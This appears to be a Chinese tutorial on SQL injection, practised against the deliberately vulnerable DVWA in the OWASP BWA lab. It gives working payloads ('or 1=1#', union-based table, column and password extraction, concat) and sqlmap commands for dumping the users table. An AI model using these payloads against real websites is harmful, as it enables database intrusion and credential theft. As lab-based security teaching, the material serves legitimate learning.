sql注入介绍
sql注入在安全问题中排行榜首
sql注入攻击是输入参数未经过滤,直接拼接到SQL语句中解析
sql注入是一种将SQL代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法
原理
攻击者在页面提交恶意字符/代码服务器未对提交参数进行过滤或过滤不足攻击者利用拼接sql语句方式获取数据库敏感信息# 通过sql注入的方式,可以得到user表中所有信息
select * from user where id = " or 1=1 --
1.3 sql注入危害
获取web网站数据库,数据泄露用户数据被非法买卖危害web应用安全
1.4 sql注入实现方式
手动实现sql注入
查找:注入点
输入:sql常用注入组合语法,进行注入
工具自动实现sql注入工具:扫描注入点
输入:自动尝试各种组合语法
2. 安全渗透环境搭建 VMware虚拟机软件靶机:安装了很多已知漏洞的web应用程序,学习sql注入项目环境靶机:https://sourceforge.net/projects/owaspbwa/files/1.2/,下载结束后解压,vmware中打开虚拟机,选择.vmx后缀的文件,虚拟环境安装结束后,用初始用户名密码登录,找到系统提供的登录地址,在浏览器中输入IP即可访问
3. 渗透机-kali,包含数百种工具(比如自动注入工具),可用于各种信息安全任务,例如渗透测试,安全研究
kali:https://www.kali.org/get-kali/#kali-virtual-machines
下载完成以后,解压,在vmware中,文件–扫描虚拟机–选择解压缩的文件夹,会自动定位到kali系统(.vmx文件),完成以后开启虚拟机
3. 实 ***进入靶机,输入以下命令进入mysql环境
mysql -uroot -powaspbwa
3.1 预备知识所有sql语句写完都必须加上;否则不会成功执行
*** 作数据库# 查看所有数据库
show databases;
# 使用库(use 库名;)
use dvwa;
# 查看默认库/查看当前在哪个库下
select database();
*** 作表
# 查看当前库中的所有表
show tables;
# 查看表结构
desc 表名;
# 查看创建表的sql语句(\G表示字段以行的方式显示,不仅是这条语句可以在末尾使用\G,select也可以使用\G)
show create table users\G;
# 查看当前登录数据库的用户是哪个
select user();
基本语句-查询
# 查询所有字段
select * from users;
# 查询指定字段
select user,password from users;
# 条件查询
select * from users where user='admin';
# 逻辑与
select * from users where user='admin' and user_id= 6;
# 逻辑或
select * from users where user='adminn' or user_id= 5;
UNION语句
sql注入漏洞的重点使用方式;将2条sql语句联合起来查询
sql1 union sql2两条sql语句查询字段数必须相同(如果字段数不同,则执行失败)# union
select user, password from mysql.user;
union
select user, password from dvwa.users;
解决方法:使用数字代替列,猜测前面表的查询列数
sql注入漏洞,就是通过拼接union后语句实现获取数据库隐私信息
介绍
库名:information_schema
作用:存储了mysql中所有库名、表名、列名,是mysql数据的字典(有点类似windows系统中的注册表)
应用:sql注入经常从此库中获取需要的库名、表名、字段名
关注:tables表记录了mysql库中所有的表(表名对应的库名);columns表记录了mysql库中所有表和列
*** 作
# 查看表
select * from information_schema.TABLES\G;
select * from information_schema.COLUMNS\G;
# 关注字段
# 数据库名
TABLE_SCHEMA
# 表名
TABLE_NAME
# 列名
COLUMN_NAME
# show databases 效果在特殊库.TABLES表中如何获取?(一个库有许多表,所以需要去重)
select DISTINCT TABLE_SCHEMA from information_schema.TABLES\G;
# show tables 效果在特殊库.TABLES表中如何获取?
select TABLE_NAME from information_schema.TABLES\G where TABLE_SCHEMA='dvwa';
sql注释
说明:注释语句不会被执行,在sql注入中可以将查询条件注释掉
#单行注释
#语法1(#文字)
select * from users; #查询users表所有信息
#语法2(-- 文字),必须有个空格
select * from users; -- 查询users表所有信息
#多行注释(也可以作为单行注释来使用)
/*这是多行注释*/
使用sql注释获取用户名和密码
# $会自动拼接对应的字符串
select * from user where username=$user and password=$pwd
# $user=admin# $pwd=123
# 上面的sql相当于下面这个,等价于不需要判断密码了
select * from user where username=admin# and password=123
sql注入流程
收集项目信息( *** 作系统、数据库类型、web服务器类型)查找注入点(单引号、井号、转义符)注入sql语句(#或者union)获取数据库信息破解数据库管理员账号密码开始用sql-shell等工具登录并获取数据
3.2 手动注入
环境准备
说明:通过靶机web应用程序,联系手动注入
步骤:
启动靶机虚拟机通过浏览器访问靶机选择Damn Vulnerable Web Application访问Owasp-dvwa项目(用户名密码都是admin)选中sql注入应用程序(SQL Injection) 查找注入点说明:主要采用单引号、转义字符\、以单引号为主
提交用户信息或id=处使用单引号测试
原理
# 后台程序sql语句
select first_name, last_name from users where user_id='$id';
# 输入单引号',相当于将sql语句闭合,后面就可以附加其他逻辑条件了
select first_name, last_name from users where user_id=''';
逻辑或应用
说明:使用逻辑或来获取当前表所有信息
目的:获取当前表所有信息(通过以下输入方式只能获取用户名,结合union可以获取密码)
输入:’ or 1=1#
'闭合前面条件
#注释后面单引号
需求:获取users表中所有用户名和密码
方案:使用union联合查询所有用户表语句
步骤:
猜测字段数获取数据库名获取数据库下所有的表获取表中所有数据猜测字段数
# 第一次猜测
union select 1#
# 第二次猜测
union select 1,2#
# 直到不报语法错误,确认结果有几个字段
获取数据库、表、列
# 获取当前数据库名
ID: ' union select 1, database()#
# 获取表
' union select table_name,1 from information_schema.tables where TABLE_SCHEMA='dvwa'#
# 获取列
' union select column_name,1 from information_schema.columns where TABLE_NAME='users'#
获取数据
# 获取单个字段数据
' union select user,1 from users#
# 获取2个字段
' union select user,password from users#
字段数限制
问题:后台sql默认查询字段数限制,注入时只能获取相同字段的数据
思路:使用concat函数(拼接多个字符串为一个字符串),concat(str1,str2,…)
# 获取users表中user_id,user,password,分为两列显示
select user_id, concat(user,password) from dvwa.users;
# 以上查询出来的结果user和password连在一起显示不清晰,所以需要在中间加空格
select user_id, concat('user:',user,' password:',password) from dvwa.users;
# 获取多个字段
' union select user,concat(first_name, ' ', last_name, ' ', password) from users#
3.3 自动注入
利用工具代替人工去完成sql注入 *** 作
工具 sqlmap一个开源渗透测试工具自动检测和利用sql注入漏洞并接管数据库服务器 搭建环境http://sqlmap.org(需要自己下载,不用)
启动kali虚拟机(渗透机kali自带sqlmap工具(使用))
终端命令:sqlmap -h
sqlmap基本用法命令:sqlmap 参数
参数:
# 扫描的url
-u
# 自动处理提示信息即提示选项使用默认值(仅加以上2个参数,仍然会存在扫描url被重定向到登录请求的问题)
--batch
# 附加cookie参数(解决以上参数没有解决的登录的重定向问题,F12调试可以找到cookie,复制)
--cookie
案例:
目标:使用sqlmap对OWAP应用注入获取users表中所有用户名和密码
环境:启动靶机、启动渗透机、url(http://靶机ip/dvwa/vulnerabilities/sqli/?id=6&Submit=Submit#)
步骤:
扫描注入点(把靶机中的url复制到渗透机的终端中,作为url参数执行)获取数据库名获取表名获取字段名获取数据 案例# sqlmap获取库名
# 查询当前web使用的数据库名
--current-db
# 指定数据库
-D
# sqlmap获取表
# 查询指定库下所有表名(需要先用-D指定库名)
--tables
# 指定表(使用表时需要用-T指定)
-T
# sqlmap获取列/字段
# 查询指定表下所有字段
--columns
# 指定字段名
-C
# sqlmap获取数据
# 下载数据
--dump
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)